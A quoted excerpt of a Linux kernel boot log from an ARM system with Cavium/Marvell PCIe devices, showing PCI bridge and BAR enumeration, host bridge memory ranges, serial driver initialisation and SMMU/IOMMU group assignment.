> [ 2.690764] pci 0002:00:17.0: [177d:a002] type 01 class 0x060401 PCIe Root Port
> [ 2.690776] pci 0002:00:17.0: PCI bridge to [bus 11] (subtractive decode)
> [ 2.690780] pci 0002:00:17.0: bridge window [mem 0x00000000-0x000fffff]
> [ 2.690867] pci 0002:00:18.0: [177d:a002] type 01 class 0x060401 PCIe Root Port
> [ 2.690878] pci 0002:00:18.0: PCI bridge to [bus 12] (subtractive decode)
> [ 2.690882] pci 0002:00:18.0: bridge window [mem 0x00000000-0x000fffff]
> [ 2.690980] pci 0002:00:19.0: [177d:a002] type 01 class 0x060401 PCIe Root Port
> [ 2.690992] pci 0002:00:19.0: PCI bridge to [bus 13] (subtractive decode)
> [ 2.690996] pci 0002:00:19.0: bridge window [mem 0x00000000-0x000fffff]
> [ 2.691085] pci 0002:00:1a.0: [177d:a002] type 01 class 0x060401 PCIe Root Port
> [ 2.691103] pci 0002:00:1a.0: PCI bridge to [bus 14] (subtractive decode)
> [ 2.691107] pci 0002:00:1a.0: bridge window [mem 0x00000000-0x000fffff]
> [ 2.691198] pci 0002:00:1b.0: [177d:a002] type 01 class 0x060401 PCIe Root Port
> [ 2.691210] pci 0002:00:1b.0: PCI bridge to [bus 15] (subtractive decode)
> [ 2.691214] pci 0002:00:1b.0: bridge window [mem 0x00000000-0x000fffff]
> [ 2.691318] pci 0002:00:1c.0: [177d:a002] type 01 class 0x060401 PCIe Root Port
> [ 2.691331] pci 0002:00:1c.0: PCI bridge to [bus 16] (subtractive decode)
> [ 2.691335] pci 0002:00:1c.0: bridge window [mem 0x00000000-0x000fffff]
> [ 2.691429] pci 0002:00:1d.0: [177d:a002] type 01 class 0x060401 PCIe Root Port
> [ 2.691442] pci 0002:00:1d.0: PCI bridge to [bus 17] (subtractive decode)
> [ 2.691445] pci 0002:00:1d.0: bridge window [mem 0x00000000-0x000fffff]
> [ 2.691545] pci 0002:00:1e.0: [177d:a002] type 01 class 0x060401 PCIe Root Port
> [ 2.691558] pci 0002:00:1e.0: PCI bridge to [bus 18] (subtractive decode)
> [ 2.691562] pci 0002:00:1e.0: bridge window [mem 0x00000000-0x000fffff]
> [ 2.691657] pci 0002:00:1f.0: [177d:a002] type 01 class 0x060401 PCIe Root Port
> [ 2.691669] pci 0002:00:1f.0: PCI bridge to [bus 19] (subtractive decode)
> [ 2.691673] pci 0002:00:1f.0: bridge window [mem 0x00000000-0x000fffff]
> [ 2.692080] pci 0002:00:06.0: bridge configuration invalid ([bus 00-00]), reconfiguring
> [ 2.692121] pci 0002:01:00.0: [177d:a065] type 00 class 0x020000 PCIe Endpoint
> [ 2.692164] pci 0002:01:00.0: BAR 0 [mem 0x840000000000-0x8401ffffffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.692173] pci 0002:01:00.0: BAR 2 [mem 0x840200000000-0x840201ffffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.692178] pci 0002:01:00.0: BAR 4 [mem 0x9fc000000-0x9fc0fffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.692184] pci 0002:01:00.0: VF BAR 4 [mem 0x840202000000-0x840203ffffff 64bit]: from Enhanced Allocation, properties 0x4
> [ 2.692189] pci 0002:01:00.0: bridge window [mem 0x9fc100000-0x9fc13ffff 64bit]: from Enhanced Allocation, properties 0x4
> [ 2.692248] pci 0002:01:00.0: VF BAR 2 [mem 0x840202000000-0x840213ffffff 64bit]: contains BAR 2 for 9 VFs
> [ 2.692249] pci 0002:01:00.0: VF BAR 4 [mem 0x9fc100000-0x9fc33ffff 64bit]: contains BAR 4 for 9 VFs
> [ 2.692378] pci 0002:02:00.0: [177d:a063] type 00 class 0x020000 PCIe Endpoint
> [ 2.692427] pci 0002:02:00.0: BAR 2 [mem 0x841200000000-0x841201ffffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.692432] pci 0002:02:00.0: BAR 4 [mem 0x9fc340000-0x9fc3bffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.692437] pci 0002:02:00.0: VF BAR 4 [mem 0x841202000000-0x841203ffffff 64bit]: from Enhanced Allocation, properties 0x4
> [ 2.692442] pci 0002:02:00.0: bridge window [mem 0x9fc3c0000-0x9fc3fffff 64bit]: from Enhanced Allocation, properties 0x4
> [ 2.692502] pci 0002:02:00.0: VF BAR 2 [mem 0x841202000000-0x841207ffffff 64bit]: contains BAR 2 for 3 VFs
> [ 2.692503] pci 0002:02:00.0: VF BAR 4 [mem 0x9fc3c0000-0x9fc47ffff 64bit]: contains BAR 4 for 3 VFs
> [ 2.692623] pci 0002:03:00.0: [177d:a063] type 00 class 0x020000 PCIe Endpoint
> [ 2.692666] pci 0002:03:00.0: BAR 2 [mem 0x842200000000-0x842201ffffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.692673] pci 0002:03:00.0: BAR 4 [mem 0x9fc480000-0x9fc4fffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.692681] pci 0002:03:00.0: VF BAR 4 [mem 0x842202000000-0x842203ffffff 64bit]: from Enhanced Allocation, properties 0x4
> [ 2.692685] pci 0002:03:00.0: bridge window [mem 0x9fc500000-0x9fc53ffff 64bit]: from Enhanced Allocation, properties 0x4
> [ 2.692739] pci 0002:03:00.0: VF BAR 2 [mem 0x842202000000-0x842207ffffff 64bit]: contains BAR 2 for 3 VFs
> [ 2.692741] pci 0002:03:00.0: VF BAR 4 [mem 0x9fc500000-0x9fc5bffff 64bit]: contains BAR 4 for 3 VFs
> [ 2.692852] pci 0002:04:00.0: [177d:a063] type 00 class 0x020000 PCIe Endpoint
> [ 2.692894] pci 0002:04:00.0: BAR 2 [mem 0x843200000000-0x843201ffffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.692899] pci 0002:04:00.0: BAR 4 [mem 0x9fc5c0000-0x9fc63ffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.692903] pci 0002:04:00.0: VF BAR 4 [mem 0x843202000000-0x843203ffffff 64bit]: from Enhanced Allocation, properties 0x4
> [ 2.692907] pci 0002:04:00.0: bridge window [mem 0x9fc640000-0x9fc67ffff 64bit]: from Enhanced Allocation, properties 0x4
> [ 2.692961] pci 0002:04:00.0: VF BAR 2 [mem 0x843202000000-0x843207ffffff 64bit]: contains BAR 2 for 3 VFs
> [ 2.692962] pci 0002:04:00.0: VF BAR 4 [mem 0x9fc640000-0x9fc6fffff 64bit]: contains BAR 4 for 3 VFs
> [ 2.693084] pci 0002:05:00.0: [177d:a0f9] type 00 class 0x088000 PCIe Endpoint
> [ 2.693125] pci 0002:05:00.0: BAR 2 [mem 0x844200000000-0x844201ffffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.693130] pci 0002:05:00.0: BAR 4 [mem 0x9fc700000-0x9fc77ffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.693135] pci 0002:05:00.0: VF BAR 4 [mem 0x844202000000-0x844203ffffff 64bit]: from Enhanced Allocation, properties 0x4
> [ 2.693285] pci 0002:06:00.0: [177d:a0f9] type 00 class 0x088000 PCIe Endpoint
> [ 2.693333] pci 0002:06:00.0: BAR 2 [mem 0x845200000000-0x845201ffffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.693338] pci 0002:06:00.0: BAR 4 [mem 0x9fc780000-0x9fc7fffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.693343] pci 0002:06:00.0: VF BAR 4 [mem 0x845202000000-0x845203ffffff 64bit]: from Enhanced Allocation, properties 0x4
> [ 2.693491] pci 0002:07:00.0: [177d:a0f9] type 00 class 0x088000 PCIe Endpoint
> [ 2.693539] pci 0002:07:00.0: BAR 2 [mem 0x846200000000-0x846201ffffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.693544] pci 0002:07:00.0: BAR 4 [mem 0x9fc800000-0x9fc87ffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.693548] pci 0002:07:00.0: VF BAR 4 [mem 0x846202000000-0x846203ffffff 64bit]: from Enhanced Allocation, properties 0x4
> [ 2.693697] pci 0002:08:00.0: [177d:a0f9] type 00 class 0x088000 PCIe Endpoint
> [ 2.693741] pci 0002:08:00.0: BAR 2 [mem 0x847200000000-0x847201ffffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.693745] pci 0002:08:00.0: BAR 4 [mem 0x9fc880000-0x9fc8fffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.693750] pci 0002:08:00.0: VF BAR 4 [mem 0x847202000000-0x847203ffffff 64bit]: from Enhanced Allocation, properties 0x4
> [ 2.693890] pci 0002:09:00.0: [177d:a0f9] type 00 class 0x088000 PCIe Endpoint
> [ 2.693930] pci 0002:09:00.0: BAR 2 [mem 0x848200000000-0x848201ffffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.693935] pci 0002:09:00.0: BAR 4 [mem 0x9fc900000-0x9fc97ffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.693940] pci 0002:09:00.0: VF BAR 4 [mem 0x848202000000-0x848203ffffff 64bit]: from Enhanced Allocation, properties 0x4
> [ 2.694086] pci 0002:0a:00.0: [177d:a0f9] type 00 class 0x088000 PCIe Endpoint
> [ 2.694127] pci 0002:0a:00.0: BAR 2 [mem 0x849200000000-0x849201ffffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.694132] pci 0002:0a:00.0: BAR 4 [mem 0x9fc980000-0x9fc9fffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.694136] pci 0002:0a:00.0: VF BAR 4 [mem 0x849202000000-0x849203ffffff 64bit]: from Enhanced Allocation, properties 0x4
> [ 2.694279] pci 0002:0b:00.0: [177d:a0f9] type 00 class 0x088000 PCIe Endpoint
> [ 2.694325] pci 0002:0b:00.0: BAR 2 [mem 0x84a200000000-0x84a201ffffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.694332] pci 0002:0b:00.0: BAR 4 [mem 0x9fca00000-0x9fca7ffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.694337] pci 0002:0b:00.0: VF BAR 4 [mem 0x84a202000000-0x84a203ffffff 64bit]: from Enhanced Allocation, properties 0x4
> [ 2.694486] pci 0002:0c:00.0: [177d:a0f9] type 00 class 0x088000 PCIe Endpoint
> [ 2.694529] pci 0002:0c:00.0: BAR 2 [mem 0x84b200000000-0x84b201ffffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.694533] pci 0002:0c:00.0: BAR 4 [mem 0x9fca80000-0x9fcafffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.694538] pci 0002:0c:00.0: VF BAR 4 [mem 0x84b202000000-0x84b203ffffff 64bit]: from Enhanced Allocation, properties 0x4
> [ 2.694681] pci 0002:0d:00.0: [177d:a0f9] type 00 class 0x088000 PCIe Endpoint
> [ 2.694730] pci 0002:0d:00.0: BAR 2 [mem 0x84c200000000-0x84c201ffffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.694735] pci 0002:0d:00.0: BAR 4 [mem 0x9fcb00000-0x9fcb7ffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.694739] pci 0002:0d:00.0: VF BAR 4 [mem 0x84c202000000-0x84c203ffffff 64bit]: from Enhanced Allocation, properties 0x4
> [ 2.694874] pci 0002:0e:00.0: [177d:a0f0] type 00 class 0x088000 PCIe Endpoint
> [ 2.694916] pci 0002:0e:00.0: BAR 2 [mem 0x84d200000000-0x84d201ffffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.694921] pci 0002:0e:00.0: BAR 4 [mem 0x9fcb80000-0x9fcbfffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.694925] pci 0002:0e:00.0: VF BAR 4 [mem 0x84d202000000-0x84d203ffffff 64bit]: from Enhanced Allocation, properties 0x4
> [ 2.695070] pci 0002:0f:00.0: [177d:a0f0] type 00 class 0x088000 PCIe Endpoint
> [ 2.695113] pci 0002:0f:00.0: BAR 2 [mem 0x84e200000000-0x84e201ffffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.695117] pci 0002:0f:00.0: BAR 4 [mem 0x9fcc00000-0x9fcc7ffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.695121] pci 0002:0f:00.0: VF BAR 4 [mem 0x84e202000000-0x84e203ffffff 64bit]: from Enhanced Allocation, properties 0x4
> [ 2.695261] pci 0002:10:00.0: [177d:a0f0] type 00 class 0x088000 PCIe Endpoint
> [ 2.695309] pci 0002:10:00.0: BAR 2 [mem 0x84f200000000-0x84f201ffffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.695314] pci 0002:10:00.0: BAR 4 [mem 0x9fcc80000-0x9fccfffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.695318] pci 0002:10:00.0: VF BAR 4 [mem 0x84f202000000-0x84f203ffffff 64bit]: from Enhanced Allocation, properties 0x4
> [ 2.695465] pci 0002:11:00.0: [177d:a0f0] type 00 class 0x088000 PCIe Endpoint
> [ 2.695514] pci 0002:11:00.0: BAR 2 [mem 0x850200000000-0x850201ffffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.695518] pci 0002:11:00.0: BAR 4 [mem 0x9fcd00000-0x9fcd7ffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.695522] pci 0002:11:00.0: VF BAR 4 [mem 0x850202000000-0x850203ffffff 64bit]: from Enhanced Allocation, properties 0x4
> [ 2.695710] pci 0002:12:00.0: [177d:a0f0] type 00 class 0x088000 PCIe Endpoint
> [ 2.695753] pci 0002:12:00.0: BAR 2 [mem 0x851200000000-0x851201ffffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.695758] pci 0002:12:00.0: BAR 4 [mem 0x9fcd80000-0x9fcdfffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.695763] pci 0002:12:00.0: VF BAR 4 [mem 0x851202000000-0x851203ffffff 64bit]: from Enhanced Allocation, properties 0x4
> [ 2.695906] pci 0002:13:00.0: [177d:a0f0] type 00 class 0x088000 PCIe Endpoint
> [ 2.695950] pci 0002:13:00.0: BAR 2 [mem 0x852200000000-0x852201ffffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.695955] pci 0002:13:00.0: BAR 4 [mem 0x9fce00000-0x9fce7ffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.695959] pci 0002:13:00.0: VF BAR 4 [mem 0x852202000000-0x852203ffffff 64bit]: from Enhanced Allocation, properties 0x4
> [ 2.696107] pci 0002:14:00.0: [177d:a0f0] type 00 class 0x088000 PCIe Endpoint
> [ 2.696149] pci 0002:14:00.0: BAR 2 [mem 0x853200000000-0x853201ffffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.696154] pci 0002:14:00.0: BAR 4 [mem 0x9fce80000-0x9fcefffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.696158] pci 0002:14:00.0: VF BAR 4 [mem 0x853202000000-0x853203ffffff 64bit]: from Enhanced Allocation, properties 0x4
> [ 2.696306] pci 0002:15:00.0: [177d:a0f0] type 00 class 0x088000 PCIe Endpoint
> [ 2.696355] pci 0002:15:00.0: BAR 2 [mem 0x854200000000-0x854201ffffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.696359] pci 0002:15:00.0: BAR 4 [mem 0x9fcf00000-0x9fcf7ffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.696363] pci 0002:15:00.0: VF BAR 4 [mem 0x854202000000-0x854203ffffff 64bit]: from Enhanced Allocation, properties 0x4
> [ 2.696509] pci 0002:16:00.0: [177d:a0f0] type 00 class 0x088000 PCIe Endpoint
> [ 2.696552] pci 0002:16:00.0: BAR 2 [mem 0x855200000000-0x855201ffffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.696557] pci 0002:16:00.0: BAR 4 [mem 0x9fcf80000-0x9fcffffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.696564] pci 0002:16:00.0: VF BAR 4 [mem 0x855202000000-0x855203ffffff 64bit]: from Enhanced Allocation, properties 0x4
> [ 2.696708] pci 0002:17:00.0: [177d:a0fb] type 00 class 0x088000 PCIe Endpoint
> [ 2.696755] pci 0002:17:00.0: BAR 2 [mem 0x856200000000-0x856201ffffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.696760] pci 0002:17:00.0: BAR 4 [mem 0x9fd000000-0x9fd07ffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.696764] pci 0002:17:00.0: VF BAR 4 [mem 0x856202000000-0x856203ffffff 64bit]: from Enhanced Allocation, properties 0x4
> [ 2.696905] pci 0002:18:00.0: [177d:a0fb] type 00 class 0x088000 PCIe Endpoint
> [ 2.696946] pci 0002:18:00.0: BAR 2 [mem 0x857200000000-0x857201ffffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.696950] pci 0002:18:00.0: BAR 4 [mem 0x9fd080000-0x9fd0fffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.696954] pci 0002:18:00.0: VF BAR 4 [mem 0x857202000000-0x857203ffffff 64bit]: from Enhanced Allocation, properties 0x4
> [ 2.697103] pci 0002:19:00.0: [177d:a0fb] type 00 class 0x088000 PCIe Endpoint
> [ 2.697145] pci 0002:19:00.0: BAR 2 [mem 0x858200000000-0x858201ffffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.697150] pci 0002:19:00.0: BAR 4 [mem 0x9fd100000-0x9fd17ffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.697154] pci 0002:19:00.0: VF BAR 4 [mem 0x858202000000-0x858203ffffff 64bit]: from Enhanced Allocation, properties 0x4
> [ 2.697286] pci_bus 0002:07: busn_res: [bus 07] end is updated to 07
> [ 2.697342] pci 0002:00:00.0: PCI bridge to [bus fa]
> [ 2.697344] pci 0002:00:01.0: PCI bridge to [bus fb]
> [ 2.697346] pci 0002:00:02.0: PCI bridge to [bus fc]
> [ 2.697347] pci 0002:00:03.0: PCI bridge to [bus fd]
> [ 2.697349] pci 0002:00:04.0: PCI bridge to [bus fe]
> [ 2.697350] pci 0002:00:05.0: PCI bridge to [bus ff]
> [ 2.697352] pci 0002:00:07.0: PCI bridge to [bus 01]
> [ 2.697354] pci 0002:00:08.0: PCI bridge to [bus 02]
> [ 2.697356] pci 0002:00:09.0: PCI bridge to [bus 03]
> [ 2.697358] pci 0002:00:0a.0: PCI bridge to [bus 04]
> [ 2.697359] pci 0002:00:0b.0: PCI bridge to [bus 05]
> [ 2.697361] pci 0002:00:0c.0: PCI bridge to [bus 06]
> [ 2.697363] pci 0002:00:0d.0: PCI bridge to [bus 07]
> [ 2.697364] pci 0002:00:0e.0: PCI bridge to [bus 08]
> [ 2.697366] pci 0002:00:0f.0: PCI bridge to [bus 09]
> [ 2.697368] pci 0002:00:10.0: PCI bridge to [bus 0a]
> [ 2.697370] pci 0002:00:11.0: PCI bridge to [bus 0b]
> [ 2.697372] pci 0002:00:12.0: PCI bridge to [bus 0c]
> [ 2.697373] pci 0002:00:13.0: PCI bridge to [bus 0d]
> [ 2.697375] pci 0002:00:14.0: PCI bridge to [bus 0e]
> [ 2.697377] pci 0002:00:15.0: PCI bridge to [bus 0f]
> [ 2.697379] pci 0002:00:16.0: PCI bridge to [bus 10]
> [ 2.697381] pci 0002:00:17.0: PCI bridge to [bus 11]
> [ 2.697383] pci 0002:00:18.0: PCI bridge to [bus 12]
> [ 2.697386] pci 0002:00:19.0: PCI bridge to [bus 13]
> [ 2.697388] pci 0002:00:1a.0: PCI bridge to [bus 14]
> [ 2.697390] pci 0002:00:1b.0: PCI bridge to [bus 15]
> [ 2.697393] pci 0002:00:1c.0: PCI bridge to [bus 16]
> [ 2.697395] pci 0002:00:1d.0: PCI bridge to [bus 17]
> [ 2.697398] pci 0002:00:1e.0: PCI bridge to [bus 18]
> [ 2.697401] pci 0002:00:1f.0: PCI bridge to [bus 19]
> [ 2.697402] pci_bus 0002:00: resource 4 [mem 0x840000000000-0x85f4ffffffff]
> [ 2.697404] pci_bus 0002:00: resource 5 [mem 0x9fc000000-0x9ff03ffff]
> [ 2.699221] pci-host-generic 878010000000.pci: host bridge /soc@0/pci@878010000000 ranges:
> [ 2.699228] pci-host-generic 878010000000.pci: MEM 0x868000000000..0x869fffffffff -> 0x868000000000
> [ 2.699233] pci-host-generic 878010000000.pci: MEM 0x87e0fe9c0000..0x87e0fe9cffff -> 0x87e0fe9c0000
> [ 2.699238] pci-host-generic 878010000000.pci: MEM 0x8e0000000000..0x8e003fffffff -> 0x8e0000000000
> [ 2.699242] pci-host-generic 878010000000.pci: MEM 0x8e1000000000..0x8e103fffffff -> 0x8e1000000000
> [ 2.699245] pci-host-generic 878010000000.pci: MEM 0x8e2000000000..0x8e203fffffff -> 0x8e2000000000
> [ 2.699249] pci-host-generic 878010000000.pci: MEM 0x8e3000000000..0x8e303fffffff -> 0x8e3000000000
> [ 2.699253] pci-host-generic 878010000000.pci: MEM 0x8e4000000000..0x8e403fffffff -> 0x8e4000000000
> [ 2.699257] pci-host-generic 878010000000.pci: MEM 0x8e5000000000..0x8e503fffffff -> 0x8e5000000000
> [ 2.699261] pci-host-generic 878010000000.pci: MEM 0x8e0f00000000..0x8e0f000fffff -> 0x8e0f00000000
> [ 2.699264] pci-host-generic 878010000000.pci: MEM 0x8e1f00000000..0x8e1f000fffff -> 0x8e1f00000000
> [ 2.699268] pci-host-generic 878010000000.pci: MEM 0x8e2f00000000..0x8e2f000fffff -> 0x8e2f00000000
> [ 2.699272] pci-host-generic 878010000000.pci: MEM 0x8e3f00000000..0x8e3f000fffff -> 0x8e3f00000000
> [ 2.699276] pci-host-generic 878010000000.pci: MEM 0x8e4f00000000..0x8e4f000fffff -> 0x8e4f00000000
> [ 2.699278] pci-host-generic 878010000000.pci: MEM 0x8e5f00000000..0x8e5f000fffff -> 0x8e5f00000000
> [ 2.699297] pci-host-generic 878010000000.pci: Memory resource size exceeds max for 32 bits
> [ 2.699310] pci-host-generic 878010000000.pci: ECAM at [mem 0x878010000000-0x87801fffffff] for [bus 00-ff]
> [ 2.699330] pci-host-generic 878010000000.pci: PCI host bridge to bus 0001:00
> [ 2.699332] pci_bus 0001:00: root bus resource [bus 00-ff]
> [ 2.699333] pci_bus 0001:00: root bus resource [mem 0x868000000000-0x869fffffffff]
> [ 2.699334] pci_bus 0001:00: root bus resource [mem 0x87e0fe9c0000-0x87e0fe9cffff]
> [ 2.699335] pci_bus 0001:00: root bus resource [mem 0x8e0000000000-0x8e003fffffff]
> [ 2.699336] pci_bus 0001:00: root bus resource [mem 0x8e1000000000-0x8e103fffffff]
> [ 2.699337] pci_bus 0001:00: root bus resource [mem 0x8e2000000000-0x8e203fffffff]
> [ 2.699338] pci_bus 0001:00: root bus resource [mem 0x8e3000000000-0x8e303fffffff]
> [ 2.699339] pci_bus 0001:00: root bus resource [mem 0x8e4000000000-0x8e403fffffff]
> [ 2.699340] pci_bus 0001:00: root bus resource [mem 0x8e5000000000-0x8e503fffffff]
> [ 2.699341] pci_bus 0001:00: root bus resource [mem 0x8e0f00000000-0x8e0f000fffff]
> [ 2.699342] pci_bus 0001:00: root bus resource [mem 0x8e1f00000000-0x8e1f000fffff]
> [ 2.699344] pci_bus 0001:00: root bus resource [mem 0x8e2f00000000-0x8e2f000fffff]
> [ 2.699345] pci_bus 0001:00: root bus resource [mem 0x8e3f00000000-0x8e3f000fffff]
> [ 2.699346] pci_bus 0001:00: root bus resource [mem 0x8e4f00000000-0x8e4f000fffff]
> [ 2.699347] pci_bus 0001:00: root bus resource [mem 0x8e5f00000000-0x8e5f000fffff]
> [ 2.699691] pci 0001:00:0c.0: [177d:a01b] type 00 class 0x0c0330 PCIe Root Complex Integrated Endpoint
> [ 2.699730] pci 0001:00:0c.0: BAR 0 [mem 0x868000000000-0x8680001fffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.699735] pci 0001:00:0c.0: BAR 4 [mem 0x868000200000-0x8680002fffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.699833] pci 0001:00:0d.0: [177d:a01b] type 00 class 0x0c0330 PCIe Root Complex Integrated Endpoint
> [ 2.699871] pci 0001:00:0d.0: BAR 0 [mem 0x869000000000-0x8690001fffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.699876] pci 0001:00:0d.0: BAR 4 [mem 0x869000200000-0x8690002fffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.700012] pci 0001:00:10.0: [177d:a06c] type 00 class 0x088000 PCIe Root Complex Integrated Endpoint
> [ 2.700050] pci 0001:00:10.0: BAR 0 [mem 0x8e0000000000-0x8e003fffffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.700055] pci 0001:00:10.0: BAR 4 [mem 0x8e0f00000000-0x8e0f000fffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.700532] pci_bus 0001:00: resource 4 [mem 0x868000000000-0x869fffffffff]
> [ 2.700533] pci_bus 0001:00: resource 5 [mem 0x87e0fe9c0000-0x87e0fe9cffff]
> [ 2.700535] pci_bus 0001:00: resource 6 [mem 0x8e0000000000-0x8e003fffffff]
> [ 2.700536] pci_bus 0001:00: resource 7 [mem 0x8e1000000000-0x8e103fffffff]
> [ 2.700537] pci_bus 0001:00: resource 8 [mem 0x8e2000000000-0x8e203fffffff]
> [ 2.700538] pci_bus 0001:00: resource 9 [mem 0x8e3000000000-0x8e303fffffff]
> [ 2.700539] pci_bus 0001:00: resource 10 [mem 0x8e4000000000-0x8e403fffffff]
> [ 2.700540] pci_bus 0001:00: resource 11 [mem 0x8e5000000000-0x8e503fffffff]
> [ 2.700541] pci_bus 0001:00: resource 12 [mem 0x8e0f00000000-0x8e0f000fffff]
> [ 2.700543] pci_bus 0001:00: resource 13 [mem 0x8e1f00000000-0x8e1f000fffff]
> [ 2.700544] pci_bus 0001:00: resource 14 [mem 0x8e2f00000000-0x8e2f000fffff]
> [ 2.700545] pci_bus 0001:00: resource 15 [mem 0x8e3f00000000-0x8e3f000fffff]
> [ 2.700546] pci_bus 0001:00: resource 16 [mem 0x8e4f00000000-0x8e4f000fffff]
> [ 2.700547] pci_bus 0001:00: resource 17 [mem 0x8e5f00000000-0x8e5f000fffff]
> [ 2.750727] Serial: 8250/16550 driver, 4 ports, IRQ sharing enabled
> [ 2.751437] msm_serial: driver initialized
> [ 2.751515] SuperH (H)SCI(F) driver initialized
> [ 2.751852] arm-smmu-v3 830000000000.smmu: oas 52-bit (features 0x019cd78d)
> [ 2.756032] arm-smmu-v3 830000000000.smmu: allocated 65536 entries for cmdq
> [ 2.763397] arm-smmu-v3 830000000000.smmu: allocated 32768 entries for evtq
> [ 2.776949] platform 824000000000.sdhci: Adding to iommu group 0
> [ 2.776962] platform 804000000000.spi: Adding to iommu group 1
> [ 2.776970] platform 805000000000.spi: Adding to iommu group 2
> [ 2.776979] platform 86e000000000.dpi_sdp_regs: Adding to iommu group 3
> [ 2.776988] platform 9f7c00000.pem0-bar4-mem: Adding to iommu group 4
> [ 2.777231] pci 0000:00:01.0: Adding to iommu group 5
> [ 2.777260] pci 0000:00:03.0: Adding to iommu group 6
> [ 2.777290] pci 0000:00:05.0: Adding to iommu group 7
> [ 2.777326] pci 0000:00:08.0: Adding to iommu group 8
> [ 2.777355] pci 0000:00:0a.0: Adding to iommu group 9
> [ 2.777382] pci 0000:00:0c.0: Adding to iommu group 10
> [ 2.777409] pci 0000:00:0d.0: Adding to iommu group 11
> [ 2.777436] pci 0000:00:0e.0: Adding to iommu group 12
> [ 2.777462] pci 0000:00:0f.0: Adding to iommu group 13
> [ 2.777488] pci 0000:00:10.0: Adding to iommu group 14
> [ 2.777515] pci 0000:00:11.0: Adding to iommu group 15
> [ 2.777543] pci 0000:00:14.0: Adding to iommu group 16
> [ 2.777569] pci 0000:00:1a.0: Adding to iommu group 17
> [ 2.777594] pci 0000:00:1c.0: Adding to iommu group 18
> [ 2.777620] pci 0000:00:1d.0: Adding to iommu group 19
> [ 2.777647] pci 0000:00:1e.0: Adding to iommu group 20
> [ 2.784375] pci 0000:01:00.0: Adding to iommu group 21
> [ 2.784439] pci 0000:01:01.3: Adding to iommu group 22
> [ 2.784470] pci 0000:01:01.7: Adding to iommu group 22
> [ 2.784564] pci 0000:01:0a.0: Adding to iommu group 23
> [ 2.784592] pci 0000:01:0a.1: Adding to iommu group 23
> [ 2.784621] pci 0000:01:0a.2: Adding to iommu group 23
> [ 2.784665] pci 0000:01:0c.0: Adding to iommu group 24
> [ 2.784709] pci 0000:01:0f.0: Adding to iommu group 25
> [ 2.784735] pci 0000:01:10.0: Adding to iommu group 26
> [ 2.784761] pci 0000:01:10.1: Adding to iommu group 27
> [ 2.784879] pci 0000:01:14.0: Adding to iommu group 28
> [ 2.784908] pci 0000:01:14.1: Adding to iommu group 28
> [ 2.784937] pci 0000:01:14.2: Adding to iommu group 28
> [ 2.784967] pci 0000:01:14.3: Adding to iommu group 28
> [ 2.784996] pci 0000:01:14.4: Adding to iommu group 28
> [ 2.785152] pci 0000:01:18.0: Adding to iommu group 29
> [ 2.785182] pci 0000:01:18.1: Adding to iommu group 29
> [ 2.785212] pci 0000:01:18.2: Adding to iommu group 29
> [ 2.785242] pci 0000:01:18.4: Adding to iommu group 29
> [ 2.785272] pci 0000:01:18.5: Adding to iommu group 29
> [ 2.785304] pci 0000:01:18.6: Adding to iommu group 29
> [ 2.785334] pci 0000:01:18.7: Adding to iommu group 29
> [ 2.785434] pci 0000:01:19.0: Adding to iommu group 30
> [ 2.785465] pci 0000:01:19.1: Adding to iommu group 30
> [ 2.785503] pci 0000:01:19.2: Adding to iommu group 30
> [ 2.785544] pci 0000:01:19.3: Adding to iommu group 30
> [ 2.790027] pci 0000:02:00.0: Adding to iommu group 31
